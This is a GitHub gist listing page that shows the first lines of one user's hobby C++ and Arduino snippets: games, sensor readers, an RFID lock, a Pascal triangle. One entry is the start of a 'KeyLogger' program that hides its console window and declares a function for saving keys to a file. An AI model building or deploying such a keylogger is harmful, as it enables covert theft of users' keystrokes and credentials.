Skip to content

Instantly share code, notes, and snippets.

View winhtut's full-sized avatar
🎯
Focusing

WinHtut winhtut

🎯
Focusing
View GitHub Profile
#include <SoftwareSerial.h>
SoftwareSerial WinHtutBT(7, 6);
int i = 0;
void setup() {
Serial.begin(9600);
pinMode(2,OUTPUT);
pinMode(3,OUTPUT);
pinMode(4,OUTPUT);
@winhtut
winhtut / c++ keyLogger__winHtut
Created November 9, 2017 15:42
c++ KeyLogger
#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
FreeConsole();
@winhtut
winhtut / color code
Created November 13, 2017 15:05
c++ color code
#include<Windows.h>
#include<stdint.h>
#include <iostream>
#include<conio.h>
int main() {
for (int i = 0; i <100000000000; ++i) {
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), i);
@winhtut
winhtut / tic tac toe
Created November 14, 2017 05:06
tic tac toe
#include<iostream>
#include<conio.h>
#include<stdio.h>
#include<Windows.h>
void draw();
void input();
void turnplayer();
char win();
using namespace std;
char matrix[3][3] = { '1','2','3','4','5','6','7','8','9' };
@winhtut
winhtut / right code
Created November 14, 2017 08:59
tic tac toe
#include<iostream>
#include<conio.h>
#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
void draw();
void input();
char turnplayer(char player1);
char win();
using namespace std;
@winhtut
winhtut / Tic Tac Toe V2.0
Created November 17, 2017 16:21
Tic Tac Toe V2.0
#include<iostream>
#include<conio.h>
#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
void draw();
void input();
char turnplayer(char player1);
char win();
using namespace std;
@winhtut
winhtut / Version 1.0
Created November 24, 2017 06:57
water_Salt_Sugar_Calculation
/* This Code is tested by WinHtut
* Green Hackers Team
* Whatever you do
* Whatever you want
* As you like!
*/
int water=A0;
int sugarwater=A1;
int saltwater=A2;
@winhtut
winhtut / Version 2.0
Created November 24, 2017 08:56
Water_Salt_Sugar_LCD
/* This Code is tested by WinHtut
* Green Hackers Team
* Whatever you do
* Whatever you want
* As you like!
*/
#include <Wire.h>
#include <LiquidCrystal_I2C.h>
LiquidCrystal_I2C lcd(0x3F, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);
int water=A0;
@winhtut
winhtut / Version 1.0
Created December 31, 2017 03:58
Pascal Triangle
#include <stdio.h>
#include<conio.h>
long factorial(int);
int main()
{
int i, n, c;
printf("Enter the number of rows you wish to see in pascal triangle\n");
scanf_s("%d", &n);
for (i = 0; i < n; i++)
@winhtut
winhtut / RFID
Last active June 26, 2018 07:12
Ffid RC522 DSA
#include <SPI.h>
#include <MFRC522.h>
#include <Servo.h>
#define SS_PIN 10
#define RST_PIN 9
#define LED_G 5 //define green LED pin
#define LED_R 4 //define red LED
#define BUZZER 2 //buzzer pin
MFRC522 mfrc522(SS_PIN, RST_PIN); // Create MFRC522 instance.